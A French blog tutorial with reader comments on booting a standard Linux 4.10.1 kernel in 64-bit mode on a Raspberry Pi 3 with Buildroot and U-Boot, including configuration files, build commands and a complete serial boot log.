Un noyau 4.10 sur un Raspberry Pi 3 64 bits

Publié par cpb
Mar 13 2017

Vanilla kernel 4.10 on 64 bits Raspberry Pi 3

Lorsque nous recompilons un noyau Linux pour le Raspberry Pi, nous avons généralement l’habitude d’utiliser un kernel spécifique, disponible sur https://github.com/raspberrypi/linux contenant des drivers absents du noyau standard. Il est néanmoins possible de faire fonctionner sur la plupart des modèles de Raspberry Pi un noyau Linux parfaitement standard (aussi dit Vanilla Kernel). Ceci au prix de quelques efforts de configuration que nous allons voir.

À titre d’exemple, nous allons installer un noyau Linux 4.10.1 (diffusé depuis deux semaines) sur un Raspberry Pi 3.

En outre, nous allons faire fonctionner le Raspberry Pi 3 en mode 64 bits et utiliser le bootloader industriel U-boot !

Un avertissement pour commencer. Les étapes que nous allons suivre sont très simples, un peu longues mais très simples. Le résultat néanmoins ne sera pas spectaculaire, loin s’en faut.

Je n’ai pour l’instant pas réussi à faire fonctionner le support pour la console (ni HDMI, ni LVDS), aussi est-on limité à une connexion par le port série. L’intérêt est donc purement technique de voir son Raspberry Pi 3 fonctionner en mode 64 bits avec un kernel standard. Dans quelques temps peut-être, l’ensemble du système pourra s’exécuter de la sorte.

Intérêt de cette expérimentation

32 bits vs 64 bits ?

Le system-on-chip autour duquel est construit le Raspberry Pi 3 est un Broadcom BCM2837 comportant un processeur quad-cœurs Cortex A53. Ce dernier peut fonctionner en utilisant un jeu d’instructions ARMv8 64 bits. Néanmoins les distributions actuelles pour Raspberry Pi, afin d’assurer la compatibilité avec le Raspberry Pi 2, continuent de le faire fonctionner avec le jeu d’instructions ARMv7 32 bits (pour les Raspberry Pi 2 et 3, le bootloader charge le noyau kernel7.img alors qu’il charge le noyau kernel.img au format ARMv6 pour les modèles 1 et 0).

Que signifie qu’un processeur fonctionne en 32 ou 64 bits ? Il s’agit de la taille des registres du CPU, c’est-à-dire la taille maximale des données qu’il peut manipuler en une seule opération. L’effet le plus immédiatement visible du passage de 32 en 64 bits, est la taille de l’espace d’adressage qui passe de 232 octets (4 Gio) à 264 octets. Ceci ne présente pas particulièrement d’intérêt pour le Raspberry Pi 3 dont la quantité de RAM reste fixée à 1 Gio non extensible.

En ce qui concerne le passage en 64 bits, aucun intérêt réel donc hormis le challenge technique.

Vanilla kernel ?

Le fait d’utiliser un noyau standard en revanche est beaucoup plus intéressant pour tous les intégrateurs qui sont amenés à appliquer des patches provenant de diverses sources (par exemple PREEMPT_RT) ou à incorporer des drivers spécifiques développés indépendamment du Raspberry Pi.

Ces patches, ces drivers sont quasiment toujours fournis en référence au noyau Linux standard et leur intégration dans un noyau spécifiquement modifié peut être complexe.

Même si mes résultats avec le Raspberry Pi 3 et le noyau standard sont encore limités (pas de console), le principe décrit ici est valable pour les autres modèles qui fonctionnent beaucoup mieux. Pour cet aspect, l’intérêt est plus évident.

Bootloader U-boot

Le fait d’employer un bootloader libre de qualité industrielle comme U-Boot est très intéressant pour pouvoir “scripter” des procédures spécifiques de démarrage.

On pourra l’employer, en modifiant le script de démarrage, par exemple pour  :

  • démarrer sur une carte micro-SD minimale puis aller chercher le noyau et le système de fichiers dans un répertoire sur le réseau,
  • démarrer un noyau spécifique sélectionné en pressant un bouton relié aux bornes GPIO,
  • construire un système de mise à jour solide avec retour en arrière en cas d’erreur,
  • etc.

L’intérêt de l’expérimentation ci-dessous est donc nettement plus important en ce qui concerne cet aspect, pour disposer d’une base d’essai des scripts pour U-boot.

Environnement de construction

Après des essais assez longs de diverses méthodes (Crosstool-NG, compilations manuelles du kernel et de Busybox, etc.), j’ai décidé de m’appuyer sur l’outil Buildroot pour nous fournir un environnement de construction du système assez complet.

J’ai regroupé toute la configuration spécifique dans une recette defconfig pour Buildroot, qu’il nous suffit d’intégrer dans le projet standard. Il faudra également réaliser quelques opérations pour l’installation après la compilation.

La première étape consiste à télécharger la dernière version de Buildroot sur un PC de travail sous Linux (on peut réaliser cette opération sur un Raspberry Pi 3, mais elle durera plus longtemps) :

[~]$ mkdir Vanilla-Pi-3
[~]$ cd Vanilla-Pi-3/
[Vanilla-Pi-3]$ wget https://buildroot.org/downloads/buildroot-2017.02.tar.bz2
[Vanilla-Pi-3]$ tar xjf buildroot-2017.02.tar.bz2

Nous allons ajouter un fichier de recette dans le répertoire config/ de Buildroot. Lorsque j’aurai trouvé le temps de l’affiner et de la compléter, je la ferai parvenir aux développeurs de ce projet.

[Vanilla-Pi-3]$ cd buildroot-2017.02/configs/
[configs]$ wget https://www.blaess.fr/christophe/files/article-2017-03-13/raspberrypi3_64_defconfig 
[configs]$ cd ..

Nous demandons à Buildroot d’utiliser cette configuration :

[buildroot-2017.02]$ make raspberrypi3_64_defconfig

Si vous le souhaitez, vous pouvez explorer la configuration avec :

[buildroot-2017.02]$ make menuconfig

On y voit que j’ai choisi :

  • une toolchain de compilation pour Arm 64 bits, je me suis inspiré de la configuration Raspberry Pi 64 bits de Crosstool-NG.
  • un noyau standard 4.10.1 avec la configuration par défaut pour l’architecture Arm64.
  • un bootloader U-boot avec une configuration Raspberry Pi 3 (par défaut : 64 bits).
  • Busybox et les scripts de démarrage pour un système minimal

Nous pouvons ensuite lancer la compilation avec

[buildroot-2017.02]$ make

Cette étape a une durée variable suivant la puissance de votre processeur et votre lien Internet. Elle s’exécute en général pendant quelques dizaines de minutes.

Si un message d’erreur indique l’impossibilité de produire la cible bcm2837-rpi-3-b.dtb, c’est qu’il vous manque le Device Tree Compiler dtc et que vous devez l’ajouter sur votre machine. Par exemple sur un PC Ubuntu, il s’installe ainsi : sudo apt install device-tree-compiler.

Installation

Une fois le système compilé, nous allons l’installer sur une carte micro-SD. J’insère cette carte dans un adaptateur USB que je branche sur mon PC. Elle est alors automatiquement montée et le gestionnaire de fichiers m’affiche son contenu. Je commence par démonter manuellement la carte (ne pas le faire en cliquant sur l’icône d’éjection du gestionnaire de fichiers, sinon elle sera inaccessible).

[buildroot-2017.02]$ umount /media/$USER/*

Il va falloir partitionner (par exemple avec gparted ou fdisk) cette carte en deux partitions : la première d’une centaine de mégaoctets environ, la seconde couvrant le reste de la carte SD. Voici le résultat attendu :

[buildroot-2017.02]$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
[...]
sdc      8:32   1  1,9G  0 disk 
├─sdc1   8:33   1  128M  0 part 
└─sdc2   8:34   1  1,8G  0 part 
[...]

Nous formatons ces deux partitions, et en profitons pour les nommer boot et root par convention. Attention, les noms sdc1 et sdc2 sont spécifiques à ce que je vois sur ma machine, issus de la commande lsblk ci-dessus. Adaptez les bien à votre situation.

[buildroot-2017.02]$ sudo mkfs.vfat -n boot /dev/sdc1
[buildroot-2017.02]$ sudo mkfs.ext4 -L root /dev/sdc2

Extrayez la carte micro-SD et réinserez-la pour qu’elle soit automatiquement montée sur votre système, et vérifiez ainsi :

[buildroot-2017.02]$ ls /media/$USER/
boot  root

Il ne nous reste plus qu’à y copier les fichiers produits par Buildroot :

  • Image est le noyau Linux au format de l’architecture Arm64 (celui qu’on a l’habitude de voir sous le nom zImage ou vmlinuz sur d’autres architectures).
  • u-boot.bin est le bootloader U-Boot : il s’agit d’un outil très puissant permettant de charger et démarrer le noyau Linux en étant très largement configurable par des scripts. Nous en écrirons un petit exemple ultérieurement.
  • bcm2837-rpi-3-b.dtb est le blob binaire représentant la plate-forme matérielle Raspberry Pi 3 sous forme d’un Device Tree. Le noyau Image est générique pour toute plateforme Arm64 et c’est ce fichier qui lui indique sur quel système il s’exécute.
  • rootfs.tar est une archive tar contenant toute l’arborescence du système de fichiers (les répertoires /bin/, /dev/, /etc/, /usr/…).
[buildroot-2017.02]$ cp output/images/Image /media/$USER/boot/
[buildroot-2017.02]$ cp output/images/u-boot.bin  /media/$USER/boot/
[buildroot-2017.02]$ cp output/images/bcm2837-rpi-3-b.dtb /media/$USER/boot/
[buildroot-2017.02]$ sudo tar xf output/images/rootfs.tar -C /media/$USER/root
[buildroot-2017.02]$ cd ..

Nous avons installé un bootloader générique U-boot (que l’on retrouve sur la plupart des systèmes embarqués industriels). Néanmoins cela n’est pas suffisant, car au démarrage le Raspberry Pi est conçu pour charger un premier bootloader spécifique (et propriétaire). Nous devons l’y installer également et c’est lui qui viendra exécuter u-boot.bin.

[Vanilla-Pi-3]$ git clone https://github.com/raspberrypi/firmware

Le téléchargement est un peu long, car il y a eu de nombreuses versions successives, et comme elles sont fournies sous formes binaires, le stockage n’est pas limité aux différences entre versions. L’installation est très simple :

[Vanilla-Pi-3]$ cp -R firmware/boot/* /media/$USER/boot

Il nous reste trois petits fichiers à créer manuellement (attention aux fautes de frappe, cette étape est très sensible).

  • config.txt est lu par le bootloader primaire du Raspberry Pi (le fichier bootcode.bin). Nous allons lui indiquer de charger le Device Tree produit par Buildroot et de démarrer le second bootloader U-boot.
  • cmdline.txt est également lu par bootcode.bin. Il contient une seule ligne de texte, c’est la ligne de paramètres qui sera passée au noyau Linux (insérée dans le Device Tree).
  • boot.scr est un petit script pour U-boot lui indiquant de démarrer le noyau Image. Ce script est lui-même obtenu par compilation d’un petit fichier source.

Voici les contenus des deux premiers fichiers qui doivent être copiés dans /media/$USER/boot :

config.txt:
 kernel=u-boot.bin
 arm_control=0x200
 enable_uart=1
 device_tree_address=0x100
 device_tree=bcm2837-rpi-3-b.dtb

 

cmdline.txt:
 dwc_otg.lpm_enable=0 console=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 rootwait

Attention, le contenu de ce deuxième fichier doit tenir sur une seule ligne.

Le contenu du fichier source à compiler pour U-boot est le suivant :

boot.source:
 fatload mmc 0:1 ${kernel_addr_r} Image
 booti ${kernel_addr_r} - ${fdt_addr_r}

Son rôle est de charger le noyau Image en mémoire depuis la première partition de la carte micro-SD, puis de le démarrer en lui passant l’adresse du Device Tree. Pour le compiler on exécute :

[Vanilla-Pi-3]$ mkimage -A arm -O linux -T script -C none -n boot.scr -d boot.source  boot.scr

Si un message d’erreur vous indique l’absence de l’outil mkimage, installez-le sur votre système, par exemple sur Ubuntu on fera sudo apt install u-boot-tools.

Finalement, nous pouvons terminer en copiant ce fichier et en démontant la carte micro-SD.

[Vanilla-Pi-3]$ cp boot.scr /media/$USER/boot/
[Vanilla-Pi-3]$ umount /media/$USER/*

Test du noyau Vanilla 4.10.1 en mode 64 bits

Comme je l’indiquais au début de cet article, je n’ai pas réussi à faire fonctionne la sortie HDMI ni LVDS de Linux avec cette configuration. Il faut donc utiliser une connexion sur le port série du Raspberry Pi 3. Voici les lignes que je vois apparaître dans la console série de mon PC lors du boot. Cela commence par des messages provenant de U-boot :

U-Boot 2017.01 (Mar 10 2017 - 20:13:02 +0100)

DRAM:  944 MiB
RPI 3 Model B (0xa02082)
MMC:   bcm2835_sdhci: 0
reading uboot.env

** Unable to read "uboot.env" from mmc0:1 **
Using default environment

Cet avertissement est normal, nous n’avons pas fourni de fichier contenant des variables d’environnement personnalisées pour U-boot.

In:    serial
Out:   lcd
Err:   lcd
Net:   Net Initialization Skipped
No ethernet found.
starting USB...
USB0:   Core Release: 2.80a
scanning bus 0 for devices... 3 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
       scanning usb for ethernet devices... 1 Ethernet Device(s) found
Hit any key to stop autoboot:  0 
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
reading /boot.scr
151 bytes read in 24 ms (5.9 KiB/s)
## Executing script at 02000000

U-boot a trouvé notre script et l’a chargé. Il l’exécute.

reading Image
14862848 bytes read in 956 ms (14.8 MiB/s)
## Flattened Device Tree blob at 00000100
   Booting using the fdt blob at 0x000100
   Loading Device Tree to 000000003ab28000, end 000000003ab2dcaf ... OK

Starting kernel ...

Après lecture du fichier Image et détection de la présence d’un Device Tree chargé en mémoire par le bootloader primaire du Raspberry Pi, U-boot démarre le noyau. Sur une console texte (HDMI, LVDS, A/V) c’est là que les messages s’arrêtent…

[    0.000000] Booting Linux on physical CPU 0x0
[    0.000000] Linux version 4.10.1 (logilin@TR-B-02) (gcc version 5.4.0 (Buildroot 2017.02) ) #1 SMP PREEMPT Fri Mar 10 20:28:37 CET 2017
[    0.000000] Boot CPU: AArch64 Processor [410fd034]

Nous pouvons d’ores et déjà observer l’architecture Arm 64 bits (AArch64) et le numéro du dernier noyau vanilla (4.10.1).

[    0.000000] efi: Getting EFI parameters from FDT:
[    0.000000] efi: UEFI not found.
[    0.000000] cma: Reserved 16 MiB at 0x0000000039800000
[    0.000000] WARNING: x1-x3 nonzero in violation of boot protocol:
[    0.000000]  x1: 0000000000000000
[    0.000000]  x2: 0000000000000000
[    0.000000]  x3: 0000000000080000
[    0.000000] This indicates a broken bootloader or old kernel
[    0.000000] percpu: Embedded 21 pages/cpu @ffff80003af8c000 s48024 r8192 d29800 u86016
[    0.000000] Detected VIPT I-cache on CPU0
[    0.000000] CPU features: enabling workaround for ARM erratum 845719
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 237888
[    0.000000] Kernel command line: earlyprintk console=ttyAMA0 bcm2708_fb.fbwidth=656 bcm2708_fb.fbheight=416 bcm2708_fb.fbswap=1 dma.dmachans=0x7f35 bcm2709.boardrev=0xa02082 bcm2709.serial=0xf7bb84e8 bcm2709.uart_clock=48000000 vc_mem.mem_base=0x3dc00000 vc_mem.mem_size=0x3f000000  dwc_otg.lpm_enable=0 console=ttyS0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 rootwait

Le bootloader primaire du Raspberry Pi enrichit la ligne de paramètres du noyau de manière substantielle comme nous pouvons l’observer ici (par rapport à notre fichier cmdline.txt).

[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes)
[    0.000000] Memory: 916920K/966656K available (8636K kernel code, 946K rwdata, 3848K rodata, 1024K init, 392K bss, 33352K reserved, 16384K cma-reserved)
[    0.000000] Virtual kernel memory layout:
[    0.000000]     modules : 0xffff000000000000 - 0xffff000008000000   (   128 MB)
[    0.000000]     vmalloc : 0xffff000008000000 - 0xffff7dffbfff0000   (129022 GB)
[    0.000000]       .text : 0xffff000008080000 - 0xffff0000088f0000   (  8640 KB)
[    0.000000]     .rodata : 0xffff0000088f0000 - 0xffff000008cc0000   (  3904 KB)
[    0.000000]       .init : 0xffff000008cc0000 - 0xffff000008dc0000   (  1024 KB)
[    0.000000]       .data : 0xffff000008dc0000 - 0xffff000008eaca00   (   947 KB)
[    0.000000]        .bss : 0xffff000008eaca00 - 0xffff000008f0ea4c   (   393 KB)
[    0.000000]     fixed   : 0xffff7dfffe7fd000 - 0xffff7dfffec00000   (  4108 KB)
[    0.000000]     PCI I/O : 0xffff7dfffee00000 - 0xffff7dffffe00000   (    16 MB)
[    0.000000]     vmemmap : 0xffff7e0000000000 - 0xffff800000000000   (  2048 GB maximum)
[    0.000000]               0xffff7e0000000000 - 0xffff7e0000ec0000   (    14 MB actual)
[    0.000000]     memory  : 0xffff800000000000 - 0xffff80003b000000   (   944 MB)
[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1
[    0.000000] Preemptible hierarchical RCU implementation.
[    0.000000]  Build-time adjustment of leaf fanout to 64.
[    0.000000]  RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4.
[    0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=64, nr_cpu_ids=4
[    0.000000] NR_IRQS:64 nr_irqs:64 0
[    0.000000] arm_arch_timer: WARNING: Invalid trigger for IRQ1, assuming level low
[    0.000000] arm_arch_timer: WARNING: Please fix your firmware
[    0.000000] arm_arch_timer: WARNING: Invalid trigger for IRQ2, assuming level low
[    0.000000] arm_arch_timer: WARNING: Please fix your firmware

Tiens ? Apparemment il y a une petite incompatibilité de gestion des timers. Ce message va se répèter à quelques reprises.

[    0.000000] arm_arch_timer: Architected cp15 timer(s) running at 19.20MHz (phys).
[    0.000000] clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x46d987e47, max_idle_ns: 440795202767 ns
[    0.000006] sched_clock: 56 bits at 19MHz, resolution 52ns, wraps every 4398046511078ns
[    0.000175] Console: colour dummy device 80x25
[    0.001340] console [tty1] enabled
[    0.001385] Calibrating delay loop (skipped), value calculated using timer frequency.. 38.40 BogoMIPS (lpj=76800)
[    0.001437] pid_max: default: 32768 minimum: 301
[    0.001551] Security Framework initialized
[    0.001623] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
[    0.001656] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes)
[    0.011920] ASID allocator initialised with 65536 entries
[    0.032584] EFI services will not be available.
[    0.048013] smp: Bringing up secondary CPUs ...
[    0.080151] Detected VIPT I-cache on CPU1
[    0.080198] arm_arch_timer: WARNING: Invalid trigger for IRQ1, assuming level low
[    0.080200] arm_arch_timer: WARNING: Please fix your firmware
[    0.080206] arm_arch_timer: WARNING: Invalid trigger for IRQ2, assuming level low
[    0.080208] arm_arch_timer: WARNING: Please fix your firmware
[    0.080218] CPU1: Booted secondary processor [410fd034]
[    0.112234] Detected VIPT I-cache on CPU2
[    0.112261] arm_arch_timer: WARNING: Invalid trigger for IRQ1, assuming level low
[    0.112263] arm_arch_timer: WARNING: Please fix your firmware
[    0.112268] arm_arch_timer: WARNING: Invalid trigger for IRQ2, assuming level low
[    0.112270] arm_arch_timer: WARNING: Please fix your firmware
[    0.112279] CPU2: Booted secondary processor [410fd034]
[    0.144325] Detected VIPT I-cache on CPU3
[    0.144352] arm_arch_timer: WARNING: Invalid trigger for IRQ1, assuming level low
[    0.144354] arm_arch_timer: WARNING: Please fix your firmware
[    0.144358] arm_arch_timer: WARNING: Invalid trigger for IRQ2, assuming level low
[    0.144360] arm_arch_timer: WARNING: Please fix your firmware
[    0.144369] CPU3: Booted secondary processor [410fd034]
[    0.144437] smp: Brought up 1 node, 4 CPUs
[    0.144935] SMP: Total of 4 processors activated.
[    0.144965] CPU features: detected feature: 32-bit EL0 Support
[    0.145041] CPU: All CPU(s) started at EL2
[    0.145084] alternatives: patching kernel code
[    0.146078] devtmpfs: initialized
[    0.152034] DMI not present or invalid.
[    0.152357] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    0.152417] futex hash table entries: 1024 (order: 5, 131072 bytes)
[    0.153256] pinctrl core: initialized pinctrl subsystem
[    0.155078] NET: Registered protocol family 16
[    0.180398] cpuidle: using governor menu
[    0.181271] vdso: 2 pages (1 code @ ffff0000088f7000, 1 data @ ffff000008dc5000)
[    0.181328] hw-breakpoint: found 6 breakpoint and 4 watchpoint registers.
[    0.182539] DMA: preallocated 256 KiB pool for atomic allocations
[    0.183046] Serial: AMBA PL011 UART driver
[    0.217241] HugeTLB registered 2 MB page size, pre-allocated 0 pages
[    0.218481] ACPI: Interpreter disabled.
[    0.219567] vgaarb: loaded
[    0.219937] SCSI subsystem initialized
[    0.220594] usbcore: registered new interface driver usbfs
[    0.220695] usbcore: registered new interface driver hub
[    0.220823] usbcore: registered new device driver usb
[    0.221437] pps_core: LinuxPPS API ver. 1 registered
[    0.221467] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
[    0.221535] PTP clock support registered
[    0.221764] dmi: Firmware registration failed.
[    0.222009] Advanced Linux Sound Architecture Driver Initialized.
[    0.223377] clocksource: Switched to clocksource arch_sys_counter
[    0.223575] VFS: Disk quotas dquot_6.6.0
[    0.223659] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    0.223977] pnp: PnP ACPI: disabled
[    0.233713] NET: Registered protocol family 2
[    0.234435] TCP established hash table entries: 8192 (order: 4, 65536 bytes)
[    0.234601] TCP bind hash table entries: 8192 (order: 5, 131072 bytes)
[    0.234867] TCP: Hash tables configured (established 8192 bind 8192)
[    0.235052] UDP hash table entries: 512 (order: 2, 16384 bytes)
[    0.235118] UDP-Lite hash table entries: 512 (order: 2, 16384 bytes)
[    0.235337] NET: Registered protocol family 1
[    0.236017] RPC: Registered named UNIX socket transport module.
[    0.236047] RPC: Registered udp transport module.
[    0.236072] RPC: Registered tcp transport module.
[    0.236097] RPC: Registered tcp NFSv4.1 backchannel transport module.
[    0.237356] kvm [1]: 8-bit VMID
[    0.237383] kvm [1]: IDMAP page: 8d8000
[    0.237408] kvm [1]: HYP VA range: 800000000000:ffffffffffff
[    0.238363] kvm [1]: Hyp mode initialized successfully
[    0.238413] kvm [1]: Invalid trigger for IRQ4, assuming level low
[    0.238455] kvm [1]: virtual timer IRQ4
[    0.240265] audit: initializing netlink subsys (disabled)
[    0.240419] audit: type=2000 audit(0.235:1): initialized
[    0.240884] workingset: timestamp_bits=46 max_order=18 bucket_order=0
[    0.254104] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[    0.255158] NFS: Registering the id_resolver key type
[    0.255224] Key type id_resolver registered
[    0.255250] Key type id_legacy registered
[    0.255284] nfs4filelayout_init: NFSv4 File Layout Driver Registering...
[    0.255570] 9p: Installing v9fs 9p2000 file system support
[    0.258907] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 247)
[    0.258957] io scheduler noop registered
[    0.259300] io scheduler cfq registered (default)
[    0.274984] xenfs: not registering filesystem on non-xen platform
[    0.282150] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    0.284613] console [ttyS0] disabled
[    0.284769] 3f215040.serial: ttyS0 at MMIO 0x0 (irq = 61, base_baud = 31224999) is a 16550
[    1.133165] console [ttyS0] enabled
[    1.138195] SuperH (H)SCI(F) driver initialized
[    1.143417] msm_serial: driver initialized
[    1.148357] cacheinfo: Unable to detect cache hierarchy for CPU 0
[    1.162381] loop: module loaded
[    1.166975] hisi_sas: driver version v1.6
[    1.175268] libphy: Fixed MDIO Bus: probed
[    1.180610] tun: Universal TUN/TAP device driver, 1.6
[    1.185774] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
[    1.193842] e1000e: Intel(R) PRO/1000 Network Driver - 3.2.6-k
[    1.199809] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
[    1.205966] igb: Intel(R) Gigabit Ethernet Network Driver - version 5.4.0-k
[    1.213070] igb: Copyright (c) 2007-2014 Intel Corporation.
[    1.218865] igbvf: Intel(R) Gigabit Virtual Function Network Driver - version 2.4.0-k
[    1.226860] igbvf: Copyright (c) 2009 - 2012 Intel Corporation.
[    1.233001] sky2: driver version 1.30
[    1.237646] VFIO - User Level meta-driver version: 0.3
[    1.245111] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[    1.251778] ehci-pci: EHCI PCI platform driver
[    1.256424] ehci-platform: EHCI generic platform driver
[    1.261939] ehci-exynos: EHCI EXYNOS driver
[    1.266372] ehci-msm: Qualcomm On-Chip EHCI Host Controller
[    1.272209] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[    1.278539] ohci-pci: OHCI PCI platform driver
[    1.283179] ohci-platform: OHCI generic platform driver
[    1.288671] ohci-exynos: OHCI EXYNOS driver
[    1.293724] usbcore: registered new interface driver usb-storage
[    1.301603] mousedev: PS/2 mouse device common for all mice
[    1.309231] i2c /dev entries driver
[    1.316613] bcm2835-wdt 3f100000.watchdog: Broadcom BCM2835 watchdog timer
[    1.324703] sdhci: Secure Digital Host Controller Interface driver
[    1.331017] sdhci: Copyright(c) Pierre Ossman
[    1.335983] Synopsys Designware Multimedia Card Interface Driver
[    1.343142] sdhci-pltfm: SDHCI platform and OF driver helper
[    1.395407] mmc0: SDHCI controller on 3f300000.sdhci [3f300000.sdhci] using PIO
[    1.407332] ledtrig-cpu: registered to indicate activity on CPUs
[    1.415117] usbcore: registered new interface driver usbhid
[    1.421991] usbhid: USB HID core driver
[    1.428538] bcm2835-mbox 3f00b880.mailbox: mailbox enabled
[    1.436268] NET: Registered protocol family 17
[    1.440935] 9pnet: Installing 9P2000 support
[    1.445379] Key type dns_resolver registered
[    1.450920] registered taskstats version 1
[    1.458971] 3f201000.serial: ttyAMA0 at MMIO 0x3f201000 (irq = 72, base_baud = 0) is a PL011 rev2
[    4.700990] console [ttyAMA0] enabled
[    4.718338] raspberrypi-firmware soc:firmware: Attached to firmware from 2017-03-02 15:32
[    4.752120] 3f980000.usb supply vusb_d not found, using dummy regulator
[    4.778759] 3f980000.usb supply vusb_a not found, using dummy regulator
[    4.855887] dwc2 3f980000.usb: DWC OTG Controller
[    4.874781] dwc2 3f980000.usb: new USB bus registered, assigned bus number 1
[    4.903082] dwc2 3f980000.usb: irq 41, io mem 0x00000000
[    4.925228] hub 1-0:1.0: USB hub found
[    4.940287] hub 1-0:1.0: 1 port detected
[    4.956698] hctosys: unable to open rtc device (rtc0)
[    4.977145] ALSA device list:
[    4.989034]   No soundcards found.
[    5.023382] random: fast init done
[    5.043524] EXT4-fs (mmcblk0p2): mounted filesystem with ordered data mode. Opts: (null)
[    5.076028] VFS: Mounted root (ext4 filesystem) readonly on device 179:2.
[    5.107081] devtmpfs: mounted
[    5.120098] Freeing unused kernel memory: 1024K
[    5.351442] usb 1-1: new high-speed USB device number 2 using dwc2
[    5.408029] EXT4-fs (mmcblk0p2): re-mounted. Opts: data=ordered
[    5.588311] hub 1-1:1.0: USB hub found
[    5.603442] hub 1-1:1.0: 5 ports detected
Welcome to Buildroot
buildroot login: [    5.907403] usb 1-1.1: new high-speed USB device number 3 using dwc2
[    6.917298] random: crng init done

Le boot est à présent terminé et login a affiché son prompt de connexion. Néanmoins le contrôleur USB s’initialise plus lentement et un message vient “recouvrir” le prompt. J’appuie alors sur la touche Entrée.

Welcome to Buildroot
buildroot login: root
Password: root

Le mot de passe de root (root) est codé en dur dans la configuration de Buildroot. Vous pouvez le modifier lors de l’étape make menuconfig dans le menu System configuration.

# uname -a
Linux buildroot 4.10.1 #1 SMP PREEMPT Fri Mar 10 20:28:37 CET 2017 aarch64 GNU/Linux

Nous avons donc bien confirmation de la réussite de notre installation d’un noyau standard 4.10.1. Comment vérifier que notre système fonctionne bien en mode 64 bits ? Simplement en regardant la taille d’un pointeur. Pour cela je prends le petit programme C suivant :

sizeof.c:
#include <stdio.h>

int main(void)
{
        fprintf(stdout, "sizeof(int) = %lu\n", sizeof(int));
        fprintf(stdout, "sizeof(long) = %lu\n", sizeof(long));
        fprintf(stdout, "sizeof(void*) = %lu\n", sizeof(void *));
        return 0;
}

Je l’ai écrit sur mon PC, dans le répertoire Vanilla-Pi-3 et je le compile en utilisant la toolchain Arm64 que Buildroot a produit au début de sa compilation :

[Vanilla-Pi-3]$ ./buildroot-2017.02/output/host/usr/bin/aarch64-linux-gcc sizeof.c -o sizeof

Je copie le fichier sizeof sur la carte micro-SD du Raspberry Pi préalablement arrêté :

[Vanilla-Pi-3]$ sudo cp sizeof /media/$USER/root/root/
[Vanilla-Pi-3]$ umount /media/$USER/*

Après reboot du Raspberry Pi 3, exécutons le script :

Welcome to Buildroot
buildroot login: root
Password: root
# ls
sizeof
# ./sizeof 
sizeof(int) = 4
sizeof(long) = 8
sizeof(void*) = 8
# 

La taille d’un pointeur est bien de 8 octets, 64 bits. Ceci permet en théorie d’adresser 264 octets, soient 16 Eio de mémoire. En pratique les processeurs 64 bits actuels ne dépassent pas 48 bits d’adresse utilisables, soient 256 Tio (ce qui est déjà gigantesque). Du moins pour l’architecture x86, je ne sais pas ce qu’il en est pour le system-on-chip du Raspberry Pi 3. Quoiqu’il en soit, ce dernier ne possède que 1 Gio de RAM non extensible ce qui limite l’intérêt de ce type d’adressage…

L’exécution du programme ci-dessus donne exactement le même résultat que sur un PC x86 64 bits. En revanche sur un Raspberry Pi 3 avec une distribution Raspbian standard (donc 32 bits), on obtient :

pi@raspberrypi:~$ ./sizeof
sizeof(int) = 4
sizeof(long) = 4
sizeof(void*) = 4

Conclusion

Nous l’avons déjà dit, l’intérêt de cette opération est assez limité en ce qui concerne le passage au mode 64 bits. Le fait de pouvoir démarrer sur un noyau standard est plus intéressant. Enfin la mise en place de U-boot nous ouvre des possibilités en ce qui concerne les tout premiers scripts de démarrage, je reviendrai sur ce sujet ultérieurement.

Pour accélérer la compilation de Buildroot, je n’ai incorporé aucun packages supplémentaire par rapport au Busybox minimal ; naturellement vous pouvez ajouter toutes les applications qui vous semblent bonnes en éditant le contenu du menu Target Packages lors du make menuconfig.

Si vous trouvez ce qui cloche dans ma configuration et qui empêche d’utiliser la console graphique du Raspberry Pi 3, j’en serai ravi. Il faut savoir que sur les autres modèles 1 ou 2, on peut démarrer un système complet (y compris l’environnement graphique Pixel) sur un noyau Linux standard.

4 Réponses

  1. Bonjour,

    As tu regardé ce que sont en train de faire les gens d’hypriot.com? Ils sont exactement en train de monter un système 64 bits pour rpi et y faire tourner docker. Ils ont l’air un poil plus avancé que toi.

    http://blog.hypriot.com/post/building-a-64bit-docker-os-for-rpi3/

  2. Trillien dit :

    Bonjour,
    Je pense qu’un processeur 64 bits apporte également un gain de vitesse. Il supporte un jeu d’instructions additionnel pour des opérations sur 64 bits: cela lui permet de traiter en un cycle d’horloge une opération 64 bits généralement découpée en plusieurs cycles sur un processeur 32 bits.
    Par contre seuls les programmes compilés avec un jeu d’instructions 64 bits permettent de bénéficier de cet avantage.
    Trillien

  3. stgrv dit :

    bonjour,

    merci pour vos articles,

    je signale à ceux qui seraient tentés par busybox qu’il semble infecté par des rootkits
    c’est la 2ème fois que j’utilise busybox à partir d’un build buildroot et à chaque fois j’ai eu un rootkit, je poste sur security stack exchange pour avoir plus d’infos

    le binaire n’était plus en cours d’exécution mais le rootkit précédent était clairement
    identifié par l’ANSSI et s’était logé sous la forme d’une chaine de caractère aléatoire
